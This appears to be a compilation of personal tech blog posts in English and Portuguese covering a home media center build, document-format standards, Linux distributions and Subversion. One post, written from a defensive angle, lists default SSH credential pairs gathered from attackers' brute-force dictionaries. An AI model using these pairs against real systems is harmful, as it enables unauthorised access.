A Media Center at Home

Since we got a 52″ Samsung LCD TV almost a year ago as a gift from relatives, I knew it was time to attach to it a dedicated computer and have a full digital media experience in the living room. I’ll tell you here my experiences building and running this thing that makes all my guests very impressed and desiring one.

Things you can do with a Media Center

  1. Play all your digital music (MP3, M4A, FLAC etc) as albums, custom play lists or randomly.
  2. Browse all your digital music semantically, by Genre or Artist or Song Name or Album. This is very practical and much faster than searching for a CD on your shelf.
  3. Tune hundreds of Internet radios that play all kinds of specific music as New Age, 80’s, 70’s, Classical, Flamenco, etc.
  4. Watch movies downloaded from the Internet in Full HD quality (1080p) or almost (720p) with or without subtitles. Who needs Blu-ray ?
  5. Play last trip photos as a slideshow in a 52″ TV. Who needs to develop photos in paper anymore? You can also play in the background music from your MP3 collection while watching the slideshow.
  6. Browse photos by trip, year and people that appear on them (if you tag them).
  7. Watch in a 52″ TV the clips from your last trip.
  8. Download a collection of 80’s music clips, invite your friends and make a very funny multimedia 80’s party.
  9. Watch YouTube videos in a 52″ TV.
  10. Browse Google Maps in 52″ TV.
  11. Control all the above using a nice handy $20 remote control.
  12. Let your iPhone/iPod browse, access and play all your music as it is loaded on your iPhone, through UPnP and PlugPlayer.

How to build a Media Center

Its easy and cheap to build a Media Center. In fact, the most expensive component is the TV, not the computer. You can do it with whatever operating system you like: Linux, Windows Vista or Mac. I wanted to do it with Linux because I am more fluent with this platform, but I had to use Vista because Linux audio drivers for my computer were not ready at that time. I’ll put bellow all the conceptual components in an modular way so you can understand what is important on each. But usually you will find them together in a single board very well integrated. In fact, unless you know what you are doing, I recommend using integrated components as motherboards that have a good GPU plus audio integrated in a single HDMI output connector.

The physical ingredients to build a Media Center are:

  1. An LCD TV. Looks like Plasma is an obsolete technology but I’m not the right person to ask about that. An LCD or Plasma TV is a plain big computer monitor, there is no big differences when compared to the computer monitor you are using right now to read this. Make sure the TV you buy has HDMI input connector, is Full HD (that is, its physical resolution goes up 1920×1080 (a.k.a. 1080p) or more) or at least is Full HD Ready (its maximum physical resolutions is less than 1920×1080 but can handle 1920×1080 signals with distortion), has a VGA input connector and a stereo audio input connector.
  2. A regular dedicated computer with at least a dual core CPU and 2GB RAM. This will be connected to the TV and forget about using it as a regular desktop. Intel or AMD will do here. If you will play only those low-quality, old, 700MB DivX/Xvid files, a generation before dual core (as AMD Turion) will do, but if you are going to enter the HD world with H.264 (a.k.a x264), MP4, MKV, you’ll need at least 2 cores. About the 2GB RAM, this is a guess and you may play well with a bit less too, but never tested. My system is a Quadcore AMD Phenom, 4GB RAM (because I use it for other purposes too) into a XFX 8200 HDMI-enabled motherborad (this board has unsolved issues with audio over HDMI and high power CPUs, thus I would recommend you look for another brand or model).
  3. A video card/chip that can go up to 1920×1080 resolution with DVI or HDMI output connector. People keep saying that you need NVidia and this is a lie, let me explain. NVidia or ATI GPUs (graphical processing units) have capabilities and hardware accelerators used by advanced 3D games, not by video players. So unless you are going to use this PC also as an advanced playing station, any GPU (a.k.a. graphic card/chip) will do the job, including those very popular Intel GPUs found on board in laptops. Just make sure to configure your BIOS and set video RAM to the maximum, otherwise you will have video delay problems playing Full HD (1080p) videos. If the video card only has VGA output, thats fine too but be aware that you’ll need extra cables for audio. Read next item to understand.
  4. An audio card that outputs 7, 8 or 13 channels of sound. Stereo (2 channels) is old school. Today’s any regular DVD has 5.1 (6 channels) surround audio (2 front, 2 rear, 1 center and 1 sub-woofer) and you want to take advantage of that. This is today very common and easy to find in stores, just make sure this component is integrated with the video component above and both use one single HDMI output connector.
  5. Remote Control. Your folks will call you a complete geek if they’ll see you browsing photos and music with a keyboard and mouse. Out of fashion. I bought a simple but effective infrared remote control that has a receiver that plugs into the USB for about $20. It has specific buttons for Pictures, Video, Music and works well with Vista Media Center.
  6. Lots of storage. If you are going to collect HD movies, rip DVDs, store photos and rip all your CDs, start with at least 1TB hard drive. Also make sure you have internal space in your computer to receive additional hard drives because you will run out of space sooner or latter. Another option is to have a motherboard with external SATA connectors (similar to USB connectors) and connect external SATA hard drives for increased speed and flexibility. An example of such an external SATA storage is Sagate’s FreeAgent XTreame.
  7. A silent power supply. Nobody thinks about that but I believe this is very important. Since this PC will stay in your living room or some place for multimedia contemplation, you don’t want to be disturbed by the computer’s fan noise while listening to your collection of zen Ambient music. Spend a few dollars more and make sure your power supply is quiet. I am a happy and zen user of a 450W Huntkey power supply.
  8. HDMI cable. This is the single cable you should use to connect the Media Center PC to your TV. This single cable should carry Full HD video and 13 channels audio, it should costs $20 and is a clean and modern solution.


Good network layout for a home Media Center

These are the aproximate brazilian prices I pay for the hardware parts

Description Part Number Price US$
Motherboard XFX 8200 GeForce MI-A78S-8209 $172.22
AMD Phenom Quadcore 9750 HD9750WCGHBOXSN $338.89
Seagate Barracuda 750GB 9BX156-303 $205.56
4GB RAM $133.33
HUNTKEY Power supply 14CM EPS12V LW-6450SG 450W $94.44
HDMI cable $16.67
Nice PC case $138.89
Gotec Remote Control 3801 for Media Center $26.61
Total $1,126.61

Home Networking

You may want to have Media Center(s) in several spots of your home playing media from a central network file server located somewhere else.

You should pay attention to not overload your home wireless network. I had bad experiences streaming HD media from one computer to another over WiFi. A single wall in between can dramatically decrease the kilobits per second the wireless signal can carry, to a level that is lower than your movie’s kilobits per second. The result are unwatchable movies while streaming. Big photos will also take longer to load to a point that will affect negatively your ambient slideshow.

To avoid that:

  1. Have your files physically connected to your Media Center. This can be a plain internal disk (this is my choice) or an external SATA or FireWire or USB attached disk. Remember that USB is much slower (even than FireWire) and file transfers (as copying lots of movies to/from a frined) will take longer time.
  2. Have a separate file server but connect it to your Media Center over a wired network.

Bad network layout for a home Media Center

Software Requirements

Your Media Center will have several simultaneous purposes. The most visible one is to feed your TV with content, but I also use it as a host to run several virtual machines, a web server, file server and to download things. I use mine 40% as a visible Media Center, 30% as a Media Server (to serve media to other computers) and 30% as a host for other purposes.

Forget about using your Media Center as a regular PC with keyboard and mouse. It is simply not practical and will prevent your wife and kids to use it because you are locking its TV. You can connect to and work with it remotely though, with SSH, VNC, Desktop Sharing, Remote Desktop or whatever technology your platform supports. And this can happen while your folks are watching a movie. I found this way of managing my Media Center very practical and productive.

  • Linux-based Media Center

    Linux would be my preferred platform for running a Media Center. It is highly configurable and gives its owner a lot of power. To feed your TV, use MythTV or XBMC. Just make sure that devices as remote control, audio and HDMI interface have drivers and will work on Linux. I had problems with that.

  • Mac OS-based Media Center

    If you are an Apple person, a Mac mini will do the job. It is compact, silent, has a strong enough processor and comes with a nice remote control. If Mac OS is your platform of choice, use FrontRow or XBMC. You will also need a codecs to play all types of media, so download the free Perian codec pack. I don’t know much people that use Mac OS as a Media Center, let me know if you do. You can also use an Apple machine to run Windows.

  • Windows Vista-based Media Center

    Windows Vista has a lot of improvements for managing media when compared to Windows XP. The native File Explorer support for MP3 and photo tagging is excelent, uses open standards as ID3v2 (MP3) and EXIF and IPTC (JPEG photo) and Vista Media Center has partial support for browsing you media collection through these tags (album, artist, genre, date picture was taken, IPTC tags etc). Strangelly, Vista Media Center does not support browsing by multiple genres and multiple artists so an album simultaneously tagged with genres “Samba” and “MPB” will appear only when you list by “Samba”, not by “MPB”.

    Microsoft locks their desktop operating systems in a way that multiple users can’t use it simultaneously, even if there are multiple users created on the OS. This can be fixed installing a small terminal services-related patch. There is also a post-SP1 version of the hack.

    So the modus operandi is to create one user called Media that will automatically login and run the Media Center program at boot, and another one for me to login remotely with Remote Desktop and run stuff simultaneously. The Media user has to be administrator and codec packs and plugin must be installed by him.

    To play advanced and HD audio and video, H.264, MKV, MP4, DivX/Xvid, FLAC etc, you will also need a codec pack for Windows. I recommend the K-Lite Codec Pack and I use its Mega edition. Having that, Vista Media Center will play any type of media.

    I must tell that Windows alone can’t satisfy all my media management needs. Thats why I run a Linux as a virtual machine on the Media Center to make massive manipulations of MP3, photos, video compression, etc.

Still on Vista Media Center, I use several useful plugins:

  • Media Control. Improves usability of the remote control and lets you set subtitle and audio languages, enables fast forwarding etc while playing video.
  • Google Maps for Windows Media Center. Turns my 52″ TV into an interactive map that I can control with my remote control. I don’t know how life was before this.
  • Yougle. Lets you access Internet media from Vista Media Center. In other words, lets you browse and watch YouTube videos, Flickr photos, Internet radios etc.

Happy entertainment !

Compromised Passwords

Hacker emblemI love to see crackers attacking my computers. I even wrote a Linux Magazine article about a successful invasion (portuguese).

Since recently, I leave a virtual machine with an easy password ready to be attacked, just to see these crackers’ leftovers, their rootkits and what they’ll do once they brake into my system.

Guess what. Once inside, they use my system to attack more or to create DDoS-capable networks ready to put some website down. They are not looking for my files, nor my other passwords. They are actually looking for my compute power and want to preserve their anonymity through the use of my Internet address. Pretty useless lifestyle.

Those crackers will rarely explore some Apache or Samba vulnerability to get inside. Few of them have brains for this difficult task. They manage to get inside a system simply because some user password is very simple. They use port scanners to find your SSH TCP port open and then try thousands of combinations of user+password until they login. Once inside, they install this same scanning tools and user+password databases to attack other computers on the Internet.

I started to collect this user+password databases in an alphabetically sorted file and realease it here so people may check if some password they are choosing is well known by crackers or not.

The compromised passwords file has currently 142002 different combinations of user+password that you should not use, and can be downloaded here.

Some classical combinations you’ll find in the file are:

root changeme
root default
root l1nuxb0x
root passw0rd
root password
oracle oracle123
sapdb sapdb

Remember, you will greatelly avoid having your Linux/Unix/BSD/Mac computer being attacked simply following this rules:

  1. Disable SSH “root” login having the following in your /etc/ssh/sshd_config file:
    PermitRootLogin no
  2. Don’t use a user+password combination that can be found in the file I linked above. Use passwords that are difficult to guess.
  3. Change your SSH daemon listening port to something different than the default 22 in /etc/ssh/sshd_config. This is a bit inconvenient — but very effective — because you’ll have to remember to provide the non-standard port everytime you want to access your system.

Pretty obvious, but I keep finding Internt-connected systems with very weak and well known passwords.

A Blogosfera

Um blog é um website qualquer cujo conteúdo é organizado como um diário (log, em inglês), ou seja, por datas e em ordem cronológica. O nome surgiu quando “web log” virou “weblog”, que em uma brincadeira se transformou em “we blog”, para enfim se popularizar em “blog”.

A cultura dos blogs tem um dicionário de jargões:

  • Post: um artigo ou publicação que pode conter texto, imagens, links, multimídia, etc. Um post tem um título, data e hora, é categorizado sob um ou mais assuntos como “vinhos”, “tecnologia”, “viagens”, “poesia”, etc., definidos pelo dono do blog. Usa geralmente linguagem mais direta e descontraída, e pode ser tão longo quanto um extenso artigo, ou conter somente poucas palavras. Um blog é uma seqüência de posts.
  • Comentário: visitantes do blog podem opinar sobre os posts, e esse é um lado muito importante da interatividade dos blogs.
  • Permalink: um link permanente, o endereço direto de um post específico.
  • Trackback e Pingback: um post que faz referência a outro post, até mesmo em outro blog.
  • Feed: há ferramentas que permitem ler vários blogs de forma centralizada, sem ter que visitá-los separadamente. O feed é uma versão mais pura do blog, contendo somente os últimos posts em formato XML (RSS ou ATOM), e serve para alimentar essas ferramentas. Podcasts nada mais são do que feeds contendo mídia, ao invés de só texto.

Blog é um nome mais atual para o que se costumava chamar de “home page”. A diferença é que antes da era dos blogs, uma pessoa que quisesse ter um website pessoal, tinha um enorme trabalho para publicar conteúdo de páginas, que geralmente eram estáticas, não interativas, e francamente, sem graça. Era um processo manual que exigia algum conhecimento técnico, e por isso eram geralmente os técnicos que publicavam conteúdo na web.

Com a padronização do conteúdo em ordem cronológica, em posts, surgiram uma série de ferramentas e serviços de blogging, sendo os mais conhecidos o WordPress, Blogger, LiveJournal e MovableType.

Eles facilitaram a publicação de textos, links, multimídia, de forma organizada e bonita, e a web ficou muito mais interessante. Se antigamente um escritor precisava ter influência com editoras para publicar trabalhos, hoje qualquer pessoa é um escritor em potencial. E, sim, os blogs revelaram inúmeros ótimos escritores — alguns viraram celebridades —, só porque agora eles tem acesso a uma plataforma de publicação independente e direta: a Internet.

Os “blogueiros” (bloggers, pessoas que possuem e escrevem em seus blogs) visitam e lêem outros blogs, fazem comentários, criam links e se referenciam, criando uma espécie de conversa distribuída.

A consolidação da cultura dos blogs fez surgir alguns serviços como Technorati, Truth Laid Bear, BlogBlogs, Ping-o-matic, Digg, dentre outros, que tem a habilidade de seguir a conversa. Mais ainda, eles conseguem medir a popularidade de um blog ou de um assunto, e mensurar sua vitalidade e popularidade na web. Usando extensamente idiomas XML como XHTML, RDF, RSS e ATOM, eles conseguem notificar um blog de que ele foi citado em outro blog, ajudando o primeiro a publicar automaticamente um pingback ou trackback, mostrando quem o citou e como.

A Blogosfera é o fenômeno sócio-cultural materializado nessa malha de interações digitais entre os blogs e seus autores. Pode ser comparada a Comunidade de Software Livre. Onde esta cria software de forma distribuída e de acesso livre e direto aos usuários finais, a Blogosfera trabalha com idéias em geral, poesia, fotografia, multimídia, notícias, de qualquer um que se disponha a escrever para qualquer um interessado em ler.

Como dizem Doc Searls e David Weinberger no artigo Mundo de Pontas (“World of Ends”), a Internet é uma grande esfera oca com a superfície formada por pontas interconectadas. Bem, nós somos as pontas e ela é oca porque não há nada no meio que limite a nossa interação. Essa metáfora explica como os bloggers ganharam voz ativa na sociedade livre da Internet, onde falam bem de quem gostam e denunciam quem ou o que não gostam. Sendo público e interativo, qualquer assunto verídico e bem conduzido tem potencial para virar uma bola de neve ao ponto de iniciar um escândalo político (exemplo), obrigar uma empresa a admitir que deve fazer um recall de produtos defeituosos, ou de dar informações muito precisas sobre a bomba que explodiu no bairro durante uma guerra (warblog).

O Software Livre, a Blogosfera e outros movimentos socioculturais que estão por vir são um resultado direto da benéfica massificação da Internet.

Empresas têm usado blogs como forma de se aproximarem de seus clientes. Sua linguagem descontraída, não-institucional e principalmente interativa derruba barreiras e potencializa comunidades. Bons blogs corporativos passaram a ser peça chave do ciclo de desenvolvimento de produtos, como plataforma de divulgação das próximas novidades e ponto de coleta direta de opiniões de usuários.

O que você está esperando para ingressar na Blogosfera ?

OOXML é Incompatível com Formatos Anteriores

É importante enfatizar que a Microsoft anda dizendo que o OOXML é bom e necessário porque garante compatibilidade com o formato anterior (.doc etc).

Isso é uma imprecisão grosseira que cai bem nos ouvidos de quem não é técnico ou quem não pára pra pensar o que isso significa.

Explico: O .doc e companhia são formatos binários (ilegivel aos olhos humanos), e o OOXML é um formato baseado em XML (texto puro comprimido). Só este fato faz com que seja impossível haver compatiblidade entre os dois formatos. Dessa perspectiva, OOXML é mais compatível com ODF do que com .doc e companhia.

O que sim pode ser compatível com .doc e OOXML ao mesmo tempo é a suite de escritório MS Office, um programa que lê e escreve esses formatos — e que pode fazer o mesmo com ODF. Mas a guerra toda é sobre os formatos e não sobre programas, certo !?.

OOXML — o formato — não é compatível com nada anterior a ele, e agradeceria se pessoas influentes (mas imprecisas) parassem de achar e dizer que é.

Anarchy at ISO

The fundamental question, lack of tangible answer and the probable consequences

This is a translation for a blog post by Jomar Silva, head of the ODF Alliance Chapter Brazil.

In the coming days I’ll celebrate (or regret) one year working with OpenXML in ISO, and I must admit that the more time goes by I’m more far of finding a plausible answer to the most fundamental (and forgotten) question: “Why two standards ?”

The claim of proponents is the legacy support, which is not technically proven in more than 6 thousand pages of specification. It is also not proven the claim that the OpenXML fulfills the specific users needs… Did any of them read the specification of ODF (ISO / IEC 26300)?

The commercial reasons for the existence of this second standard is more than obvious and have been widely commented worldwide, but doesn’t it work as a warning that something is going wrong? Does the initiatives of international standardization are just moved by commercial interests of six guys and the argument that standardization helps to reduce artificial barriers to free trade is nothing more than cheap and utopian ideology?

Would the ISO 9000 be what it is for Quality worldwide if its opponents had proposed and made whatever was needed to ensure many different standards of quality, addressing different user needs? Will ISO accept in the coming years a proposal for more flexible quality standard, which is compatible with the legacy of disorganization that some companies still have today? Does the lack of ability of a small company to have and maintain decently a quality system based on the ISO 9000 configures “specific users needs” and therefore demand a new international standard?

Let us move to environmental issues? Do small and medium businesses have conditions and structure to maintain an ISO 14000 certificate correctly? Do the allegations of China on emissions of carbon (by the way, supported by USA position) configures the existence of the specific user needs in order to prepare a new environmental standard?

The precedent that OpenXML brought to international standardization, in my point of view, is the worst possible because based on the existence of two standards for editable documents, or at least the ability to mobilize the world and spend huge amounts of money in this discussion, will not allow the JTC1, the ISO, IEC and anyone else to refuse the discussions of new rules or alternatives standards for any economic sector. This really worries me, because all the efforts of standardization achieved in recent decades can go up in the garbage can in a short time and the worst is that everyone seems not to see it is happening. Want to see an example of the mess… I give one of the bests…

The PDF format is an ISO standard, the PDF/A which is the ISO 19005-1:2005, published in October 2005. It was developed based on a subset of the specification PDF 1.4 of Adobe. Several countries and organizations around the world have already adopted this standard as the default for non-editable documents.

Microsoft has released Windows Vista along with a new standard for non-editable electronic documents, called XPS (XML Paper Specification), which uses the same packaging concepts of OpenXML (OpenPackaging Convention) to represent non-editable documents. Who guess where XPS is standardized as another “Open Standard” wins a gift… ECMA… A lot of creativity is not needed to understand that this standard will also be submitted to ISO through a FasTrack in the coming months, just following the OpenXML opened path to that.

Adobe has realized this and has already expressed itself. A press release from the company itself, from January of this year already announced the delivery of version 1.7 of the standard to ISO. This proposal has followed their natural path and this week the vote of the standard in ISO has finished. According to the expectation of a blog from Adobe, published yesterday, the standard was adopted. My personal opinion is that this approval is very important, because now PDF becomes a full international standard, not a subset as was the PDF/A.

So I warn all involved and concerned to allocate a part of their budget for 2008 to discuss the FasTrack of XPS, because I think it will be inevitable.

I wonder what will be the other standards that will be run over (or who tries to trample) within ISO. How much money will be spend in this decade to learn this lesson?

What makes me more disappointed is to see that all these things can put ISO in a delicate position in the international standardization scene. The mess ISO is letting to happen in its own rules may cause that to be an ISO standard or a John Doe’s standard will have same value (at least to IT industry). I think this whole mess threatens the reputation that this entity has, which for me has always been synonymous with seriousness and responsibility.

The existence of unique standards, built through community is what today allows me to access the internet and write this article and that allows you to read it here from anywhere, using any browser and any operating system. This is what allows us to buy any CD with music and to use in any CD player (from $50 thousand to $1.00). This is the world created by international standards but looks like its not good for everybody.

Commodity market competition is for serious companies, competent and committed with the differentiation to their customers… It is not for anyone, regardless of their size or achievements in the past…

To relieve a little bit the post, in the last weekend I decided to play my acoustic guitar and ended up playing a song that reminded me a lot about all that I wrote here. I think it encouraged me to write this article.

The song is “Anarchy in UK” by the Sex Pistols and when I played in the weekend, just switched the UK to ISO and things made sense… Perhaps this is the answer to the question that doesn’t have an answer…

The part that I found most interesting is:

Anarchy at the ISO
It’s coming sometime and maybe.
I give a wrong time, stop a traffic line.
Your future dream is a shopping scheme.

That is what they want… Anarchy at ISO!

Creating OpenSearch plugins for Browsers

I just came across a Mozilla::Developer page that teaches how to let visitors on a site easily add that site’s search function into their browsers as a plugin.

If you are reading this in my blog and you select your browser’s search tool, this is what you’ll see:

OpenSearch option in browser’s tool

You’ll get the option to permanently add my blog’s search function to your browser. If you select it, you’ll have this:

OpenSearch option added to browser’s tool

To make it, I followed the instructions on the first link and created my OpenSearch description file. Look! Technorati, Microsoft, and many others have OpenSearch-enabled websites.

Linux por todo lado

Seguindo o espírito de bisbilhotar os sistemas alheios, este feriado observei mais algumas novidades:

Sabrico Volkswagen
Ajudando minha namorada a comprar carro, observei o uso do emulador de terminal seguro PuTTY na loja da Sabrico. Parece que o sistema de estoque e preços deles é centralizado e acessado por SSH. Apertando o olho em partes da tela, uma barra de status mostrava o logon do vendedor e a palavra “LINUX”, provavelmente para indicar a plataforma daquela sua versão do sistema de gestão. Ou seja, esse sistema crítico roda em Linux na Sabrico e é acessado com segurança usando tecnologias Open Source: SSH.

Hospital São Luiz
Encontrei com um amigo antes de uma aula de Yoga. Começou ter dores fortes e acabei levando-o ao pronto socorro do hospital. Como não tinha muito o que fazer, observei novamente o uso do PuTTY nos PCs da sala de enfermagem. No conteúdo da tela não havia muitos indícios de o servidor acessado rodar Linux, mas julguei que a probabilidade era altíssima. Outra coisa que me chamou a atenção foi o nome do servidor acessado pelo PuTTY: SRVIBM. Mais chance ainda de ser Linux, porque todos os servidores da IBM suportam este SO. Agora, há uso mais crítico para Linux do que em um renomado pronto socorro ?

Houve uma época em que empresas gastavam fortunas com licensas de emuladores de terminal, para acessarem seus servidores UNIX. Ah, e eles eram inseguros e sem criptografia, usando telnet puro e simples. Hoje Open Source está, com segurança, de ponta a ponta: do servidor ao emulador. Soluções de segurança são importantes o suficiente para terem que ser um commodity: devem ser baratas e fáceis de usar por toda parte. E o movimento Open Source tem o mérito de ter barateado e “commoditizado” esse mercado.

Parabéns às duas empresas !

E você? Onde mais tem visto o uso de Linux?

ODF versus CDF

There are some news popping on the web about ODF to be substituted by W3C’s Compound Document Formats.

Read them carefully, read other sources too and try to understand first before making assumptions.

Entities like OpenDocument Foundation are switching opinions in a quest for some sort of Universal Format, that still doesn’t exist, promoting CDF.

CDF is a W3C specification about mixing various XML idioms in one document. Things like SVG or MathML inside XHTML, etc. It is a good thing and an inevitable consequence of XML per se.

In my opinion, CDF is more suited to be used in web browsers and online. Some of its sub-specifications are still unifinished or incomplete — as CSS3, required for essential things like pagination.

The most irritating statement by OpenDocument Foundation is a chart from their site that says some several bizarre things:

  • OOXML would be compatible with legacy MS formats. If they can explain how a textual XML format can be compatible with a binary-only one I can accept it. Well, I won’t because I know they can’t.
  • CDF would be compatible with legacy MS formats. This is even worse. While a OOXML document may have same structure as its MS legacy binary equivalent, CDF is still completely different, built on top of technologies created for completely different purposes. If even OOXML can’t be compatible, CDF for sure isn’t compatible too. This is just a CDF-overselling incorrect argument.
  • ODF does not have an interoperability framework. What an “interoperability framework” means for people that does not even understand what is compatibility? In the Open Standards era, the proper use of them is already a simple path to interoperability. Want more sophisticated ways? Build tools around these Open Standards and you are done.
  • CDF would be big vendor-independent. That’s OK if W3C wants to stay independent. But CDF will go nowhere if no big vendor adopts it. And to be a real viable alternative to ODF it must prove its value to these big vendors.
  • ODF does not converges desktop, server, web and devices. Just one example that kills this argument is Google Docs. They are making a good (server) job letting (web) users upload, edit, maintain and download ODF documents. Google Docs is starting to be available for mobile devices too.

There are some people playing with CDF, mostly developers. Nice articles can be found in IBM developerWorks about it.

A successful format also needs user friendly software that implements it, cause I don’t expect my mother to write rich CDF docs in Notepad. That’s were the importance of OpenOffice.org (and all its derivatives) appear to help the ODF ecosystem.

So yes, use CDF to make great standards-oriented web pages, instead of proprietary Flash or Silverlight. But to say that CDF can be a universal format for office applications and documents is to overload the technology a little bit.

Flash Player now supports advanced MPEG-4 content

Adobe’s press release says it all: lab version of o Flash Player 9.0 supports latest and best multimedia technologies.

Thanks to YouTube and other online video services, the Adobe Flash Player browser plug in is probably the most popular video player in the world. But before this version, only the proprietary and now inefficient FLV format was supported.

Tinic Uro, a multimedia software engineer at Adobe explains that the Player now supports:

  • H.264/MPEG-4 AVC
    The best, most sofisticated and advanced video codec, capable of high quality, low bitrate video performances. H.264 is the standard for HD-TV, HD-DVD and BluRay. H.264 is better than MPEG-4 ASP/Xvid/DivX.
  • AAC and HE-AAC (a.k.a AAC SBR)
    The ISO successor of MP3, for audio. MP3 is already very good, extremely popular, and still supported by the MPEG-4 ISO standard and Flash Player. There is no practical advantage on AAC over MP3 for the music you load in your portable player, but HE-AAC achieves much better quality on very low bit rates (desired for streaming) than MP3.
  • MP4 file format
    The MP4 container was designed for many types of usages, including streaming over the Internet. An MP4 file can carry many video, audio, subtitle, scripting, VRML, XML and other metadata multiplexed and in parallel.

All this formats are parts of the ISO MPEG-4 standard.

This is a much expected update for the Flash Player and its users. Every new video on YouTube is being compressed with this technologies since June and the old ones will be converted over time.

We will see quality and speed improvements in multimedia content happening in the right way. Also, the formats of the video files people exchange will converge into a single one based on MPEG-4 standards: MP4 files containing higher-quality-for-megabyte H.264, AAC and subtitle streams.

This is also good news for the Linux and open community. A number of good MPEG-4 related authoring tools already exist and are maturing fast: x264 for video compression, FAAD/FAAC for audio, and GPAC and others for MP4.

Escolhendo uma Distribuição Linux

É importante começar dizendo que todas as distribuições Linux, incluindo as comerciais — Red Hat Enterprise Linux, SUSE Linux, Xandros, etc — e não-comerciais — Debian, Slackware, Gentoo, etc — atendem a maioria das necessidades reais. Escolher uma melhor entre elas é mais uma questão de gosto pessoal do técnico que já a conhece do que de funcionalidades. Mas uma empresa precisa pesar mais aspectos — além do gosto — para garantir uma escolha estratégica de benefícios de longo prazo.

Suporte e Certificação

Todas as distribuições Linux empacotam, de uma forma ou de outra, mais ou menos os mesmos softwares Open Source (o Kernel, Apache, Samba, bibliotecas, Gnome, KDE, etc). Mas somente as chamadas distribuições chamadas enterprise incluem suporte junto ao seu produto.

Para um usuário, suporte significa:

  1. Um parceiro disponível agora e no longo prazo, para transferir riscos operacionais
    Este é o ponto mais importante. Empresas não querem tomar riscos — especialmente os riscos inerentes ao Open Source.

  2. Acesso rápido a atualizações de qualidade
    Empresas em geral tem recursos limitados para compilar, testar e integrar atualizações de software Open Source.

  3. Acesso a um grande número de fabricantes independentes de hardware (IHV) e de software (ISV) certificados e disponibilidade de soluções complexas pré-testadas
    Uma parte crítica de qualquer projeto de TI consiste em correlacionar a certificação entre seus componentes (hardware, storage, middleware, SO, etc). A característica mais importante e valorizada que uma distribuição pode prover, mais do que as tecnologias embutidas no SO, é a sua capacidade de criar ecossistemas de hardware e software homologado.

Modelo de Subscrição versus Preço por Licença

Empresas que vendem software comercial (como a Microsoft, IBM, Oracle, etc) vão permitir o uso de seus produtos somente após a compra de um direito de uso. Esses “direitos compráveis” são hoje em dia chamados de licença comercial.

O software contido em qualquer distribuição Linux é sem custo. Os desenvolvedores desses softwares licenciaram seu trabalho sob a GPL, BSD, Mozilla Public, IBM Public ou alguma outra licença Open Source, que garante a qualquer um o direito de usar e redistribuir o software sem ter que pagar por isso.

É errado dizer que se “compra” uma distribuição Linux (ou uma licença de seu uso). Não se pode comprá-la. Na prática ela já é sua. É como dizer que um usuário irá comprar o conteúdo de um site. Não há nada material para adquirir. Por outro lado, o que sim pode-se dizer é que se está assinando um serviço que provê assistência técnica, acesso a atualizações, e ingresso a um ecossistema de produtos que inter-operam de uma forma pré-testada e certificada — os pontos de suporte pincelados anteriormente.

Então empresas que fazem distribuições enterprise (como Red Hat, Novell, Xandros) vendem esse serviço, e não o software, porque o último é gratuito.

Escolhendo a Melhor Distribuição

Há duas formas responsáveis e maduras de usar alguma distribuição Linux nas operações de TI de uma empresa:

  1. Adquirir subscrição de uma distribuição enterprise global como as vendidas pela Red Hat e Novell
    A subscrição atrela o software Open Source a um suporte de escala global, criando ambiente estável e favorável para o florescimento de um ecossistema de ISVs e IHVs certificados.
  2. Usar distribuições gratuitas como Debian ou Slackware, e adquirir serviços de suporte de uma companhia local, independente
    Isso pode trazer mais risco por causa da operação de suporte não-global, e falta de integração entre o empacotamento do software e seu suporte, o que leva a um ecossistema fraco ou inexistente de ISVs e IHVs.

Em termos de flexibilidade técnica e escolha de fornecedor — pontos que impactam em custo —, as duas opções são iguais. Todos os benefícios da segunda opção estão presentes na primeira, enquanto na segunda estão ausentes os aspectos de ecossistema de ISVs e IHVs da primeira.

RHEL versus SLES

Para uma empresa que precisa tomar decisões pragmáticas, parece fazer mais sentido adquirir diretamente um produto como o RHEL e SLES, que atrela suporte ao software na fonte, do que manualmente integrá-los em níveis regionais. A segunda opção, com Debian etc, também tem sido escolhida com sucesso por empresas principalmente do setor público, e trazem benefícios sociais e econômicos gerais por manterem o dinheiro circulando dentro do país.

Empresas devem prestar atenção aos seguintes pontos, mais ou menos nesta ordem, quando estão escolhendo uma distribuição Linux para rodar suas aplicações de negócio:

  1. Com qual fabricante de distribuição eu tenho melhores relacionamentos comerciais ?
  2. Qual fabricante tem melhor preço de subscrição pelo valor oferecido ?
  3. Qual distribuição meus técnicos conhecem melhor ?
  4. Qual distribuição é suportada e certificada por quem me fornece produtos de hardware e software ?
  5. A não ser que se saiba muito bem o que se está fazendo, empresas devem ser responsáveis e usar distribuições enterprise.

Para empresas que precisam escolher rapidamente uma distribuição, há duas opções enterprise que tem um forte ecossistema e penetração no mercado: Red Hat Enterprise Linux e Novell SUSE Linux Enterprise. Umas poucas diferenças entre elas tem se tornado cada vez maiores ao longo do tempo, mas a maioria das diferenças tem convergido ou desaparecido. Veja uma comparação na tabela.

Outras Distribuições Enterprise

Há alguns provedores de distribuições Linux com modelos de negócio similar ao adotado pela Red Hat e Novell. As mais famosas são Ubuntu (tecnicamente baseado no Debian), Mandriva (fusão da Conectiva, Mandrake e outras), Xandros (também baseado no Debian), para citar algumas. Elas estão focadas em prover um produto global de tal forma que suporte e serviços possam ser disponibilizados automaticamente ou num modo self-service.

Há uma lei intrínseca do mercado que busca o equilíbrio lançando mão de duas opções de escolha. Uma opção pode ser boa (na verdade não há opção quando só existe um caminho), duas opções maduras é melhor, mas três ou mais opções já é demais para o mercado digerir. E parece que o mercado já definiu suas duas escolhas maduras com a Novell e Red Hat.

Mesmo se essas outras distribuições enterprise tiverem produtos melhores, elas terão que investir uma quantidade considerável de energia construindo um ecossistema de ISVs e IHVs. Mais do que isso, ISVs e IHVs terão que fazer uma pausa em suas operações para ouvir o que estas novas distribuições tem a oferecer.

Ecossistema é tudo que importa. Um produto com um bom ecossistema pode facilmente se tornar melhor que um excelente produto sem ecossistema. Provavelmente este é o aspecto mais importante a considerar quando uma companhia escolhe uma distribuição.

Não se pode dizer que certa distribuição é melhor que todas as outras. Deve-se sempre colocar na balança aspectos pragmáticos visando uma boa aderência a sua empresa ou a um certo projeto.

Basic Subversion Repository Management

(This is a shared personal note, suggestions are welcome.)

Create a Subversion repository for a project, say The SVG Blog Icons:

  1. Create the repository on the hosting panel with a project name (e.g. Blog Icons) and project ID (e.g. blogicons).
  2. Import the files:
    bash$ cd src/
    bash$ ls
    blogicons
    bash$ export EDITOR=vi
    bash$ svn -m "First import" import blogicons http://svn.alkalay.net/blogicons/trunk
  3. Start over with a fresh copy:
    bash$ mv blogicons blogicons.old
    bash$ svn co http://svn.alkalay.net/blogicons/trunk blogicons
  4. Create a repository for pointers to official releases and register the official release the files imported represent:
